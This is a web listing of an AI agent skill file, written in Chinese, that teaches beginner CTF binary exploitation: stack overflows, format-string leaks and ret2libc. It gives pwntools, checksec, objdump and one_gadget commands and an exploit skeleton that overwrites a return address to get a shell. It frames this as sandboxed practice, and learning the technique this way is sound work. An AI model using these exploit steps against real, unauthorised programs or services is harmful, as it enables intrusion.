Re pwn

From dslsdzc/rev-skills · View interactive version

Re pwn is an AI agent skill from the GitHub repository dslsdzc/rev-skills. CTF pwn 入门:栈溢出、格式化字符串、ret2libc。 触发词:pwn、栈溢出、格式化字符串、ret2libc、ROP、shellcode 注入

How to use this skill

Skill file

CTF pwn 入门(栈溢出 / 格式化字符串 / ret2libc)

何时使用 / 何时不用

工具准备

参考 [[re-analyze/platform-tips]]——利用验证默认沙箱;先静态分析(反汇编 / checksec)再动态调试,符合「静态优先」思路。

pwntools(pip 安装)—— 利用脚本主力

checksec —— 防护检查(pwntools 内置)

gdb + pwndbg/gef(见 [[re-gdb]])—— 动态验证

one_gadget(可选)—— libc 一键 RCE

操作步骤

按顺序执行;每步产物(checksec 输出、偏移、libc base、flag)记录证据路径 + sha256(存证方法见 [[re-triage]]),供 writeup 引用。

  1. 漏洞识别(checksec 保护 / 反汇编找危险函数):

```sh

file target && sha256sum target > target.sha256

pwn checksec --file target # NX / PIE / Canary / RELRO —— 决定利用路线(见坑 1)

```

  1. 栈溢出利用(偏移计算、覆盖返回地址):

```sh

# 偏移计算:cyclic 生成模式串,崩溃后定位返回地址在输入中的偏移

python3 -c "from pwn import *; print(cyclic(200, n=8))" > /tmp/patt

# 本地崩溃(沙箱内)→ gdb/pwndbg 看 $rsp,或直接 pwntools 一体化:

```

```python

from pwn import *

p = process('./target'); p.sendline(cyclic(200, n=8)); p.wait()

core = p.corefile # 需开启 core dump

print("offset:", cyclic_find(core.pc, n=8)) # 64 位 rip 在 core.pc

```

  1. ret2libc(PLT/GOT、libc 版本识别):

```sh

objdump -d target | grep -E '<puts@plt>|<printf@plt>|<system@plt>' # PLT 可调函数

objdump -R target | grep puts # GOT 存 libc 实际地址

```

```sh

one_gadget ./libc.so.6 # 若有 libc 文件:直接列 one_gadget

# 或用泄露的 puts 地址后 3 位 hex 查 libc-database: ./find puts 7a0

```

  1. 格式化字符串(泄露 / 写):

```sh

# 泄露:把输入原样做 format 的参数,%p 逐个试偏移

python3 -c "print('%p.'*20)" | ./target

```

```python

from pwn import *

p = process('./target')

p.sendline(b'%6$p %7$p') # %N$ 是逻辑参数列表第 N 个参数: format 占 rdi,%1$–%5$ 来自 rsi/rdx/rcx/r8/r9,%6$/%7$ 即调用者栈上第 1/2 个 8 字节

print(p.recvline())

```

  1. 本地验证(pwntools 脚本):

```python

from pwn import *

context.binary = './target' # 自动取架构/位数/保护

context.log_level = 'debug'

p = process('./target') # 本地(沙箱内);远程: remote('host', port)

payload = b'A'*offset + p64(win_addr)

p.sendline(payload)

p.interactive() # 拿到 shell 后 cat flag

```

跨域联合

常见坑与陷阱

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.